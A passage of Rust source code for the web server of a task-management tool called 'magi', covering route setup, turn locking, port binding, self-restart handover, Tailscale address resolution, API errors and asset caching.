1785            )
1786            .route(
1787                "/api/talks/{id}/attachments/{att}",
1788                get(talk_attachment_get),
1789            )
1790            .route("/api/talks/{id}/avatar", get(talk_avatar))
1791            .route("/avatars/operator.svg", get(operator_avatar))
1792            .route(
1793                "/api/avatar-settings",
1794                get(avatar_settings_get)
1795                    .put(avatar_settings_put)
1796                    .delete(avatar_settings_delete),
1797            )
1798            .route("/avatars/persona", get(settings_persona_avatar))
1799            .route("/avatars/magi", get(magi_avatar))
1800            .route(
1801                "/api/magi-icon",
1802                get(magi_icon_get)
1803                    .put(magi_icon_put)
1804                    .delete(magi_icon_delete),
1805            )
1806            .route("/api/events", get(events))
1807            .with_state(self)
1808    }
1809}
1810
1811/// One talk's turn slot, released on drop.
1812///
1813/// A guard rather than a matching `remove` at the end of the handler, because
1814/// the handler has several early returns and one `await` that can be cancelled
1815/// out from under it. A leaked id is a talk nobody can talk to again.
1816#[derive(Debug)]
1817struct TalkTurnGuard {
1818    talk: String,
1819    turns: Arc<Mutex<TalkTurns>>,
1820    released: bool,
1821    /// The cross-process half of the slot; dropped with the guard.
1822    lease: Option<crate::talk::TurnLease>,
1823}
1824
1825/// In-memory turn ownership plus the queue generation observed by a drainer.
1826///
1827/// The generation changes only after a durable queued draft is written and its
1828/// caller finds the turn busy. That lets the loop run filesystem work outside
1829/// this mutex while still making the final empty-check/release atomic with a
1830/// concurrent queue handoff.
1831#[derive(Debug, Default)]
1832struct TalkTurns {
1833    live: HashSet<String>,
1834    queued: HashMap<String, u64>,
1835}
1836
1837/// The atomic initial-state decision made by
1838/// [`Ui::begin_talk_turn_unless_pending`].
1839enum TalkTurnStart {
1840    Claimed(TalkTurnGuard),
1841    Busy,
1842    /// Another process holds the turn lease. Unlike `Busy` there is no local
1843    /// drain loop that would answer a queued draft, so the caller refuses.
1844    Foreign,
1845    Pending,
1846}
1847
1848impl TalkTurnGuard {
1849    #[cfg(test)]
1850    /// Does this guard still own the on-disk lease? A transient failure to
1851    /// check counts as owning: the next beat decides. A guard that lost it
1852    /// must not start another turn on the same session.
1853    fn owns(&self) -> bool {
1854        self.lease
1855            .as_ref()
1856            .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1857    }
1858
1859    #[cfg(test)]
1860    /// `talk::respond_at` while renewing the on-disk lease, so a turn longer
1861    /// than the lease's TTL still reads as held to other processes.
1862    async fn respond_at(
1863        &self,
1864        talk: &mut Talk,
1865        talks: &Talks,
1866        cfg: &Config,
1867        text: &str,
1868        submitted_input: Option<usize>,
1869    ) -> anyhow::Result<()> {
1870        let lease = self
1871            .lease
1872            .as_ref()
1873            .context("the turn guard no longer holds its lease")?;
1874        talk::respond_at(lease, talk, talks, cfg, text, submitted_input).await
1875    }
1876
1877    /// Release while the caller already holds the claim mutex, closing the
1878    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
1879    fn release(mut self, live: &mut TalkTurns) {
1880        // The on-disk lease goes first: while `live` still names the talk, no
1881        // local claim can start, so nobody observes the slot free but the
1882        // lease held.
1883        self.lease = None;
1884        live.live.remove(&self.talk);
1885        live.queued.remove(&self.talk);
1886        self.released = true;
1887    }
1888}
1889
1890impl Drop for TalkTurnGuard {
1891    fn drop(&mut self) {
1892        if self.released {
1893            return;
1894        }
1895        // Lease first, then the in-process slot (see `release`).
1896        drop(self.lease.take());
1897        if let Ok(mut live) = self.turns.lock() {
1898            live.live.remove(&self.talk);
1899            live.queued.remove(&self.talk);
1900        }
1901    }
1902}
1903
1904/// Releases a resume claim, so a run is resumable again after the attempt.
1905struct ResumeGuard {
1906    run: String,
1907    resuming: Arc<Mutex<HashSet<String>>>,
1908}
1909
1910impl Drop for ResumeGuard {
1911    fn drop(&mut self) {
1912        if let Ok(mut live) = self.resuming.lock() {
1913            live.remove(&self.run);
1914        }
1915    }
1916}
1917
1918/// Bind the port, waiting briefly for a predecessor to let go of it.
1919///
1920/// A restart hands the address from one process to the next, and the old one
1921/// holds its listener until it unwinds. A single `bind` can lose that race,
1922/// and for a restart triggered from a phone that means the deck never comes
1923/// back with no terminal around to say why.
1924///
1925/// Bounded, and only for the one error a wait can fix: anything else fails at
1926/// once, because retrying it would turn a clear message into a silence.
1927async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1928    const WINDOW: Duration = Duration::from_secs(10);
1929    const GAP: Duration = Duration::from_millis(250);
1930
1931    let deadline = std::time::Instant::now() + WINDOW;
1932    let mut said = false;
1933    loop {
1934        match tokio::net::TcpListener::bind(socket).await {
1935            Ok(listener) => return Ok(listener),
1936            Err(e)
1937                if e.kind() == std::io::ErrorKind::AddrInUse
1938                    && std::time::Instant::now() < deadline =>
1939            {
1940                if !said {
1941                    said = true;
1942                    tracing::info!(
1943                        "{socket} is still held - waiting up to {}s for it, \
1944                         which is what a restart looks like from here",
1945                        WINDOW.as_secs()
1946                    );
1947                }
1948                tokio::time::sleep(GAP).await;
1949            }
1950            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1951        }
1952    }
1953}
1954
1955/// Signalled when an upgrade has replaced the binary and the successor should
1956/// take this address over. One per process: there is one address to hand on.
1957static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1958
1959/// Set to `1` on the successor when the loop was running at handover.
1960const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1961/// Keep a dynamically assigned listener address stable across replacement.
1962const RESTART_PORT_ENV: &str = "MAGI_WEB_RESTART_PORT";
1963
1964/// Whether the environment value asks for the loop to be resumed.
1965fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1966    value.is_some_and(|v| v == "1")
1967}
1968
1969/// Start this binary again with the same arguments, detached.
1970///
1971/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
1972/// so the address is already free when the successor binds it. The first
1973/// attempt at this spawned the successor two hundred milliseconds before
1974/// exiting instead, and the released binary - which has no bind retry - died
1975/// on "address already in use" with its stdio sent to null, so the deck
1976/// simply never came back.
1977///
1978/// Detached and without inherited stdio: the successor has to outlive this
1979/// process, and must not hold open a pipe a terminal is waiting on.
1980///
1981/// The scheduler is restarted separately; execution workers are not awaited.
1982///
1983/// The successor's stdout and stderr are appended to `<home>/web.log` rather
1984/// than sent to null: a supervisor's redirection only ever held the first
1985/// generation's descriptors, so every later generation logged nowhere. The
1986/// pid of the child is returned so the handover log can name it.
1987fn spawn_successor(home: &FsPath, port: u16, exe: &FsPath) -> Result<u32> {
1988    let args: Vec<String> = std::env::args().skip(1).collect();
1989    updater::log_step(
1990        home,
1991        &format!("restarting: {} {}", exe.display(), args.join(" ")),
1992    );
1993    let log_path = home.join(WEB_LOG);
1994    let open_log = || {
1995        std::fs::create_dir_all(home)?;
1996        std::fs::OpenOptions::new()
1997            .create(true)
1998            .append(true)
1999            .open(&log_path)
2000    };
2001    let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
2002        Ok(pair) => (
2003            std::process::Stdio::from(pair.0),
2004            std::process::Stdio::from(pair.1),
2005        ),
2006        Err(e) => {
2007            updater::log_warn(
2008                home,
2009                &format!(
2010                    "could not open {}: {e}; the successor logs nowhere",
2011                    log_path.display()
2012                ),
2013            );
2014            (std::process::Stdio::null(), std::process::Stdio::null())
2015        }
2016    };
2017
2018    let mut cmd = std::process::Command::new(exe);
2019    cmd.env_remove(RESUME_LOOP_ENV);
2020    cmd.env(RESTART_PORT_ENV, port.to_string());
2021    cmd.args(&args)
2022        .stdin(std::process::Stdio::null())
2023        .stdout(out)
2024        .stderr(err);
2025    #[cfg(windows)]
2026    {
2027        use std::os::windows::process::CommandExt as _;
2028        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
2029        // and Ctrl-C in the old terminal must not reach the successor.
2030        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
2031    }
2032    let child = cmd.spawn().context("start the successor")?;
2033    Ok(child.id())
2034}
2035
2036/// File under `<home>` the successor's output is appended to.
2037const WEB_LOG: &str = "web.log";
2038
2039/// Resolves when [`HANDOVER`] is signalled. The only waiter on it: a permit
2040/// stored by an earlier `notify_one` is consumed by the first poll, so the
2041/// signal is never missed and never wakes a second time.
2042async fn wait_for_handover(signal: &Notify) {
2043    signal.notified().await;
2044}
2045
2046/// Serve the UI independently from scheduler and execution workers.
2047/// A restart releases its listener before starting the successor.
2048pub async fn serve(opts: Opts) -> Result<()> {
2049    // Capture before self-replacement: current_exe may later name a removed
2050    // image on Linux or the renamed old image on Windows.
2051    crate::worker::remember_current_executable()?;
2052    let executable = std::env::current_exe().context("find the installed web executable")?;
2053    let (addr, warning) = resolve_bind(&opts.bind);
2054    if let Some(warning) = warning {
2055        tracing::warn!("{warning}");
2056    }
2057
2058    // Process-global, and therefore set exactly once, here: the report route
2059    // must never emit escape sequences into a browser, and toggling the flag
2060    // per request would race with a concurrent request rendering its own
2061    // report. Startup is the only moment at which no request can observe the
2062    // change. Nothing in the server turns colour back on.
2063    report::set_color(false);
2064
2065    let repo = normalize_default_repo(opts.repo).await;
2066    let ui = Arc::new(Ui::open(repo).with_merge(opts.merge));
2067    // The listener and periodic checker share one upgrade gate and state.
2068    let home = ui.home.clone();
2069    let admissions = Arc::clone(&ui.admissions);
2070    // Settles a progress record a predecessor left non-terminal - either this
2071    // *is* the successor `spawn_successor` started, or the previous process
2072    // died mid-handover. Before the router starts answering, so the very
2073    // first `/api/health` a phone gets from this process already reflects it.
2074    updater::reconcile_after_restart(&home);
2075    updater::log_step(
2076        &home,
2077        &format!(
2078            "web process started (version {}); handover log {}, successor output {}",
2079            env!("CARGO_PKG_VERSION"),
2080            updater::log_path(&home).display(),
2081            home.join(WEB_LOG).display()
2082        ),
2083    );
2084    updater::spawn_watchdog(home.clone());
2085    // `magi web` can stay up for days, and the one-time check `main.rs`'s
2086    // `spawn_update_check` does at startup only ever runs once: after that,
2087    // `/api/health`'s `update` field - and the phone's "Update & restart"
2088    // button, which reads the very same cache - would stay frozen on
2089    // whatever that single check found, no matter how many releases ship
2090    // afterwards. The periodic checker below keeps it current and is
2091    // cancelled when the listener finishes.
2092    let port = if opts.port == 0 {
2093        std::env::var(RESTART_PORT_ENV)
2094            .ok()
2095            .and_then(|value| value.parse::<u16>().ok())
2096            .filter(|port| *port != 0)
2097            .unwrap_or(0)
2098    } else {
2099        opts.port
2100    };
2101    let socket = SocketAddr::new(addr, port);
2102    let listener = bind_waiting(socket).await?;
2103    let bound = listener.local_addr().context("read bound web address")?;
2104    let port = bound.port();
2105    let url = format!("http://{bound}");
2106    tracing::info!(
2107        "magi web UI on {url} - there is no authentication, so anyone who can \
2108         reach this address can file and hold tasks: the tailnet is the \
2109         security boundary"
2110    );
2111    // A legacy predecessor may request first-migration scheduler startup.
2112    if resume_requested(std::env::var_os(RESUME_LOOP_ENV)) && !daemon::managed(&home) {
2113        ui.start_detached_loop()
2114            .await
2115            .map_err(|e| anyhow::anyhow!(e.message))?;
2116    }
2117    if opts.open {
2118        // The URL alone on stdout, for a caller that wants to open it. magi
2119        // does not spawn a browser: on the machine this usually runs on there
2120        // is no display, and a failed launch would be the only output.
2121        println!("{url}");
2122    }
2123
2124    // On its own task, so nothing this function awaits can stop the address
2125    // being answered. `hand_over` is where it is given up.
2126    let recheck_ui = ui.clone();
2127    let mut served = tokio::spawn(axum::serve(listener, ui.shared_router()).into_future());
2128    let recheck = tokio::spawn(run_update_recheck(recheck_ui));
2129    let interrupted = async {
2130        if tokio::signal::ctrl_c().await.is_err() {
2131            // No handler on this platform, so there is no signal to act on.
2132            // Never resolving is the safe answer: a failed registration must
2133            // not masquerade as the operator asking for a shutdown and take
2134            // the UI down on startup.
2135            std::future::pending::<()>().await;
2136        }
2137    };
2138    let handover = wait_for_handover(&HANDOVER);
2139    let outcome = tokio::select! {
2140        joined = &mut served => match joined {
2141            Ok(outcome) => outcome.context("serve the web UI"),
2142            Err(e) => Err(e).context("the task serving the web UI ended"),
2143        },
2144        () = interrupted => {
2145            recheck.abort();
2146            tracing::info!("shutting down the web UI; detached workers continue");
2147            close_admissions(&admissions).await;
2148            served.abort();
2149            let _ = served.await;
2150            Ok(())
2151        }
2152        () = handover => {
2153            recheck.abort();
2154            let successor_home = home.clone();
2155            hand_over(&home, &admissions, served, move || spawn_successor(&successor_home, port, &executable)).await
2156        }
2157    };
2158    recheck.abort();
2159    let _ = recheck.await;
2160    updater::log_step(
2161        &home,
2162        &match &outcome {
2163            Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
2164            Err(e) => format!("serve: returning an error: {e:#}"),
2165        },
2166    );
2167    outcome
2168}
2169
2170/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
2171/// process's own working directory is not a git checkout at all - the
2172/// checkout [`repos::discover_verified`] finds instead.
2173///
2174/// Only the unmodified default is ever replaced: an operator who named a
2175/// directory outright, git checkout or not, gets exactly that directory
2176/// back, and the same story downstream (a talk whose briefing embeds a
2177/// non-git directory, and an agent that has to ask the operator where the
2178/// real repository is) that has always told them so - substituting a guess
2179/// for an explicit answer would be a second, silent opinion about what they
2180/// meant. There is no instruction or task text yet to match against this
2181/// early, so only [`repos::discover_verified`]'s own-repository tier can
2182/// ever settle this - the hint tier never fires here.
2183///
2184/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
2185/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
2186/// or a git installation that is broken in exactly the way that made the
2187/// original `canonical` check above fail too - so it is re-checked with
2188/// `git::toplevel` before it is ever used in place of the operator's own
2189/// directory.
2190async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
2191    if repo != FsPath::new(".") {
2192        return repo;
2193    }
2194    let Ok(canonical) = repo.canonicalize() else {
2195        return repo;
2196    };
2197    if git::toplevel(&canonical).await.is_ok() {
2198        return repo;
2199    }
2200    let Some(home) = dirs::home_dir() else {
2201        return repo;
2202    };
2203    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
2204        Some(found) => {
2205            tracing::info!(
2206                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
2207                canonical.display(),
2208                found.path.display(),
2209                found.reason,
2210            );
2211            found.path
2212        }
2213        None => repo,
2214    }
2215}
2216
2217/// Close new ingress and finish only transactions publishing durable work.
2218/// The writer waits for owned admission guards, not task or chat turn leases.
2219async fn close_admissions(admissions: &tokio::sync::RwLock<bool>) {
2220    *admissions.write().await = true;
2221}
2222
2223/// Restart only the scheduler and web listener, never their execution workers.
2224/// The old listener must be fully released before the successor is started.
2225async fn hand_over(
2226    home: &FsPath,
2227    admissions: &tokio::sync::RwLock<bool>,
2228    served: tokio::task::JoinHandle<std::io::Result<()>>,
2229    successor: impl FnOnce() -> Result<u32>,
2230) -> Result<()> {
2231    close_admissions(admissions).await;
2232    if let Some(mut progress) = updater::read_progress(home) {
2233        progress.advance(updater::Stage::Restarting);
2234        progress.detail =
2235            Some("Restarting scheduler and web; active workers continue unchanged.".to_owned());
2236        updater::write_progress_logged(home, &progress);
2237    }
2238    updater::log_step(
2239        home,
2240        "restarting scheduler without parking execution workers",
2241    );
2242    let scheduler = daemon::restart_detached(home).await;
2243    if let Err(error) = &scheduler {
2244        let _ = updater::fail_progress(home, &format!("restart scheduler: {error:#}"));
2245        updater::log_warn(
2246            home,
2247            &format!("scheduler restart failed; restoring the web UI: {error:#}"),
2248        );
2249    }
2250    updater::log_step(home, "releasing the web listener");
2251    served.abort();
2252    let _ = served.await;
2253    updater::log_step(home, "web listener released; starting the successor");
2254    match successor() {
2255        Ok(pid) => {
2256            updater::log_step(home, &format!("successor started, pid {pid}"));
2257            scheduler
2258        }
2259        Err(e) => {
2260            let _ = updater::fail_progress(home, &format!("start web successor: {e:#}"));
2261            Err(e)
2262        }
2263    }
2264}
2265
2266/// Resolve `--bind` to an address, plus a warning when the answer is not what
2267/// the operator asked for.
2268///
2269/// Split out from [`serve`] because the interesting half - deciding whether
2270/// Tailscale gave us something usable - is testable without opening a socket.
2271pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
2272    match bind {
2273        Bind::Addr(addr) => (*addr, None),
2274        Bind::Auto => match tailscale_ip() {
2275            Ok(ip) => (IpAddr::V4(ip), None),
2276            Err(why) => (
2277                IpAddr::V4(Ipv4Addr::LOCALHOST),
2278                Some(format!(
2279                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
2280                     local-only and a phone cannot reach it; start Tailscale \
2281                     or pass --bind <addr>"
2282                )),
2283            ),
2284        },
2285    }
2286}
2287
2288/// This machine's Tailscale IPv4, or why there is not one.
2289///
2290/// `tailscale ip -4` is a local call against the running daemon and returns in
2291/// milliseconds, so it is fine to make it synchronously before the server
2292/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
2293/// CGNAT block Tailscale assigns from, and anything else on that output would
2294/// be a different tool answering.
2295fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
2296    let out = std::process::Command::new("tailscale")
2297        .args(["ip", "-4"])
2298        .quiet()
2299        .output()
2300        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
2301    if !out.status.success() {
2302        let why = String::from_utf8_lossy(&out.stderr);
2303        let why = why.trim();
2304        return Err(format!(
2305            "`tailscale ip -4` failed ({}){}",
2306            out.status,
2307            if why.is_empty() {
2308                String::new()
2309            } else {
2310                format!(": {why}")
2311            }
2312        ));
2313    }
2314    String::from_utf8_lossy(&out.stdout)
2315        .lines()
2316        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
2317        .find(is_tailnet)
2318        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
2319}
2320
2321/// Is this address in the CGNAT block Tailscale hands out from?
2322fn is_tailnet(ip: &Ipv4Addr) -> bool {
2323    let o = ip.octets();
2324    o[0] == 100 && (64..=127).contains(&o[1])
2325}
2326
2327/// What every handler returns. Spelled out because `Result` in this crate is
2328/// `anyhow::Result`, and a handler's error is a status code as much as a
2329/// message.
2330type ApiResult<T> = std::result::Result<T, ApiError>;
2331
2332/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
2333#[derive(Debug)]
2334struct ApiError {
2335    status: StatusCode,
2336    message: String,
2337    text_reason: Option<crate::question_delivery::UnavailableReason>,
2338}
2339
2340impl ApiError {
2341    /// The client asked for something malformed.
2342    fn bad_request(message: impl Into<String>) -> Self {
2343        Self {
2344            text_reason: None,
2345            status: StatusCode::BAD_REQUEST,
2346            message: message.into(),
2347        }
2348    }
2349
2350    /// No such run or task.
2351    fn not_found(message: impl Into<String>) -> Self {
2352        Self {
2353            text_reason: None,
2354            status: StatusCode::NOT_FOUND,
2355            message: message.into(),
2356        }
2357    }
2358
2359    /// Someone else owns the thing the client wants to change.
2360    /// Re-badge an error whose default mapping is wrong for this route.
2361    fn with_status(mut self, status: StatusCode) -> Self {
2362        self.status = status;
2363        self
2364    }
2365
2366    /// A rules violation from a domain type, reported as the caller's fault.
2367    /// `Question::answer` rejects an unoffered choice, and that is a bad
2368    /// request, not a server error.
2369    fn bad_request_from(e: anyhow::Error) -> Self {
2370        Self::bad_request(format!("{e:#}"))
2371    }
2372
2373    fn completion(e: anyhow::Error) -> Self {
2374        if e.is::<crate::queue::CompletionSnapshotChanged>() {
2375            Self::conflict(format!("{e:#}"))
2376        } else {
2377            Self::bad_request_from(e)
2378        }
2379    }
2380
2381    fn conflict(message: impl Into<String>) -> Self {
2382        Self {
2383            text_reason: None,
2384            status: StatusCode::CONFLICT,
2385            message: message.into(),
2386        }
2387    }
2388
2389    /// Our fault, or the disk's.
2390    fn internal(message: impl Into<String>) -> Self {
2391        Self {
2392            text_reason: None,
2393            status: StatusCode::INTERNAL_SERVER_ERROR,
2394            message: message.into(),
2395        }
2396    }
2397}
2398
2399impl From<anyhow::Error> for ApiError {
2400    /// Errors from `queue` and `run` carry their context chain, and the whole
2401    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
2402    /// value at line 3" is a message an operator can act on, and there is no
2403    /// secret in a path on a single-user tailnet.
2404    fn from(e: anyhow::Error) -> Self {
2405        Self::internal(format!("{e:#}"))
2406    }
2407}
2408
2409impl IntoResponse for ApiError {
2410    fn into_response(self) -> Response {
2411        let mut body = serde_json::json!({ "error": self.message });
2412        if let Some(reason) = self.text_reason {
2413            body["code"] = serde_json::json!("question_text_unavailable");
2414            body["reason"] = serde_json::json!(reason);
2415        }
2416        (self.status, Json(body)).into_response()
2417    }
2418}
2419
2420/// Run a handler's filesystem work off the executor.
2421///
2422/// Every route that touches the disk goes through here rather than each one
2423/// arguing about whether its own read is small enough. Uniform because the
2424/// expensive case is not rare: `run.json` for a finished competition holds
2425/// every judgement, deliberation turn and review round, so listing a few
2426/// hundred runs is megabytes of parsing, and the executor threads doing it are
2427/// the same ones serving the change stream of every other connected phone.
2428async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
2429where
2430    T: Send + 'static,
2431{
2432    #[cfg(test)]
2433    let job = request_cost::carry(job);
2434    match tokio::task::spawn_blocking(job).await {
2435        Ok(result) => result,
2436        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
2437    }
2438}
2439
2440/// Bulk readers have a bounded, separate execution lane. A cold health
2441/// index or multiple slow list clients cannot occupy the pool serving detail.
2442async fn bulk_blocking<T>(
2443    slots: Arc<tokio::sync::Semaphore>,
2444    job: impl FnOnce() -> ApiResult<T> + Send + 'static,
2445) -> ApiResult<T>
2446where
2447    T: Send + 'static,
2448{
2449    let permit = slots
2450        .acquire_owned()
2451        .await
2452        .map_err(|_| ApiError::internal("Bulk reader stopped"))?;
2453    let (send, receive) = tokio::sync::oneshot::channel();
2454    #[cfg(test)]
2455    let job = request_cost::carry(job);
2456    let runtime = tokio::runtime::Handle::current();
2457    std::thread::Builder::new()
2458        .name("web-bulk".into())
2459        .spawn(move || {
2460            let _permit = permit;
2461            // Capacity observations schedule their independent blocking job.
2462            let _runtime = runtime.enter();
2463            let _ = send.send(job());
2464        })
2465        .map_err(|error| ApiError::internal(format!("start bulk reader: {error}")))?;
2466    receive
2467        .await
2468        .map_err(|_| ApiError::internal("Bulk reader failed"))?
2469}
2470
2471/// Cache policy for the three compiled-in front-end files.
2472///
2473/// The whole interface is `include_str!`ed into the binary, so its content
2474/// changes only when the binary does - and a phone that keeps a copy is
2475/// welcome to, right up until the deck is replaced. Without a single cache
2476/// header, browsers were free to invent their own policy, and one did:
2477/// yukimemi's phone went on showing "Candidates must be folded before
2478/// deleting. Run `magi fold` first." - a sentence deleted two releases
2479/// earlier - from a run detail served by a deck that no longer contained it.
2480/// The delete button he was told about was right there, and unreachable.
2481///
2482/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
2483/// every time, the answer is a 304 costing one small round trip while the
2484/// deck is unchanged, and the moment it is replaced the tag differs and the
2485/// new interface arrives. Correctness over bytes - this is one file of a few
2486/// tens of kilobytes on a tailnet, and being a version behind is not a
2487/// cosmetic problem when the difference is whether a button exists.
2488const ASSET_CACHE: &str = "no-cache, must-revalidate";
2489
2490/// `ETag` for the compiled-in assets, distinct per build.
2491///
2492/// The version alone would leave a locally built deck - `cargo install
2493/// --path .` twice at the same version, which is the normal way to iterate -
2494/// serving a stale tag for changed bytes. The build timestamp is what makes
2495/// two builds of `0.3.0` differ.
2496fn asset_etag() -> &'static str {
2497    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
2498        format!(
2499            "\"{}-{}\"",
2500            env!("CARGO_PKG_VERSION"),
2501            // Length is a cheap, deterministic stand-in for a hash: the
2502            // three files are compiled in together, so any edit to any of
2503            // them almost certainly changes the total, and a rebuild is what
2504            // this needs to track rather than every possible byte pattern.
2505            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
2506        )
2507    });
2508    &TAG
2509}
2510
2511/// Headers for a compiled-in asset of `mime`.
2512fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
2513    [
2514        (header::CONTENT_TYPE, mime),
2515        (header::CACHE_CONTROL, ASSET_CACHE),
2516        (header::ETAG, asset_etag()),
2517    ]
2518}
2519
2520/// Serve a compiled-in asset, answering `304` when the client already has it.
2521///
2522/// axum does not compare `If-None-Match` for us, and a header the server sets
2523/// but never honours is worse than none: the phone revalidates on every load
2524/// and is handed the whole file back each time. Doing the comparison is what
2525/// makes `must-revalidate` cost one small round trip rather than the
2526/// interface.
2527fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
2528    let tag = asset_etag();
2529    let known = headers
2530        .get(header::IF_NONE_MATCH)
2531        .and_then(|v| v.to_str().ok())
2532        // A revalidating client may send several, and a proxy may weaken the
2533        // tag to `W/"..."`; matching on containment covers both without
2534        // parsing the grammar.
2535        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
2536    if known {
2537        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
2538    }
2539    (asset_headers(mime), body).into_response()
2540}
2541
2542async fn index(headers: header::HeaderMap) -> Response {
2543    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
2544}
2545
2546async fn app_css(headers: header::HeaderMap) -> Response {
2547    asset(&headers, "text/css; charset=utf-8", APP_CSS)
2548}
2549
2550async fn app_js(headers: header::HeaderMap) -> Response {
2551    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
2552}
2553
2554/// What `/api/health` answers.
2555#[derive(Debug, Serialize)]
2556struct HealthView {
2557    version: &'static str,
2558    home: String,
2559    queue_rev: u64,
2560    runs_rev: u64,
2561    /// The same revisions [`events`] streams for the question and talk
2562    /// stores.
2563    ///
2564    /// Here because this route is what the front end falls back to when the
2565    /// change stream is not up - it re-polls health on a timer and on wake, and
2566    /// takes the revisions from the answer. Without these the fallback
2567    /// compares `undefined` against `undefined` for both stores, decides
2568    /// nothing moved, and a phone with a dead stream never learns that a
2569    /// question was asked or that a talk took a turn. `queue_rev` and
2570    /// `runs_rev` above have always been here for exactly this reason; the rule
2571    /// is that every revision the stream carries, this route carries too.
2572    questions_rev: u64,
2573    /// See [`HealthView::questions_rev`]. The standing chat's own store.
2574    talks_rev: u64,
2575    /// See [`HealthView::questions_rev`]. The notification centre's store.
2576    notifications_rev: u64,
2577    /// Notifications nobody has read yet: the bell's badge before
2578    /// `/api/notifications` has answered.
2579    notifications_unread: usize,
2580    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
2581    /// is not on disk anywhere, so a phone with no change stream has no other
2582    /// way to notice that the loop it is waiting on was started from another
2583    /// device.
2584    loop_rev: u64,
2585    /// Runs on disk whose state this build cannot parse - almost always a
2586    /// schema bump, occasionally a run killed mid-write.
2587    ///
2588    /// Reported because the list silently skips them, and "no competitions
2589    /// yet" is a lie when six of them are sitting in the runs directory. The
2590    /// terminal deck learned the same lesson: a run that fails to parse must
2591    /// not disappear from the count.
2592    runs_unreadable: usize,
2593    /// The disk, and what the runs and their worktrees occupy on it.
2594    ///
2595    /// This is the incident the janitor exists for: magi alone put 30 GB into
2596    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
2597    /// is exactly where the operator learns "the disk is the constraint" -
2598    /// the diagnosis that a run is being held for want of space has to be
2599    /// checkable on the same screen.
2600    disk: Option<serde_json::Value>,
2601    /// Questions nobody has answered yet, including ones an owner talked
2602    /// back on and is now waiting for the agent's reply to. A round trip
2603    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
2604    /// while the ball is in the agent's court - see
2605    /// [`crate::ask::Questions::count_open`].
2606    questions_open: usize,
2607    /// Of those, how many actually need the owner right now: open, and not
2608    /// [`crate::ask::Question::waiting_on_agent`].
2609    ///
2610    /// The one number that means "nothing will happen until a human acts" -
2611    /// a parked run consumes nothing and progresses never - and the count the
2612    /// ask bar, the nav badge and the document title fall back to before
2613    /// `/api/questions` has answered, so those notification channels clear
2614    /// the instant the owner asks back and reappear the instant the agent
2615    /// replies, instead of sitting lit for however long the agent thinks.
2616    questions_needs_owner: usize,
2617    daemon: DaemonView,
2618    /// The independently controllable scheduler, as `/api/loop` reports it.
2619    ///
2620    /// Here so a phone that has just woken needs one request to know whether
2621    /// anything is going to happen at all: `daemon` says a loop is alive
2622    /// somewhere, and this says whether it is one this UI can stop.
2623    #[serde(rename = "loop")]
2624    looping: LoopView,
2625    /// Whether a release newer than this build is known, and which.
2626    ///
2627    /// From [`updater::Checker::cached_update`] - the same throttled state the
2628    /// CLI's `notify` mode banners from - never a live check: this route is
2629    /// polled every few seconds, and a live check on each poll would spend
2630    /// GitHub's rate limit before the operator finished reading the strip.
2631    update: UpdateView,
2632    /// The self-upgrade this deck last set in motion, or `null` before the
2633    /// first one. Read off disk, so the successor can report what its
2634    /// predecessor started.
2635    upgrade: Option<UpgradeProgressView>,
2636    /// Detached jobs survive replacement of this web process. Each reports
2637    /// its own immutable executable generation rather than the web version.
2638    jobs: Vec<WorkerView>,
2639    upgrade_request_error: Option<UpgradeRequestFailure>,
2640}
2641
2642/// Public execution metadata only. Job payloads contain private configuration
2643/// and must never be returned by the health endpoint.
2644#[derive(Debug, Serialize)]
2645struct WorkerView {
2646    id: String,
2647    kind: String,
2648    key: String,
2649    pid: Option<u32>,
2650    status: crate::worker::Status,
2651    generation: String,
2652    version: Option<String>,
2653    queue_owned: bool,
2654}
2655
2656impl From<crate::worker::Job> for WorkerView {
2657    fn from(job: crate::worker::Job) -> Self {
2658        let queue_owned = job.kind == "task"
2659            && job
2660                .payload
2661                .get("standalone")
2662                .and_then(serde_json::Value::as_bool)
2663                != Some(true);
2664        Self {
2665            id: job.id,
2666            kind: job.kind,
2667            key: job.key,
2668            pid: job.pid,
2669            status: job.status,
2670            generation: job.generation,
2671            version: job.version,
2672            queue_owned,
2673        }
2674    }
2675}
2676
2677/// What `/api/health` knows about a release newer than this build.
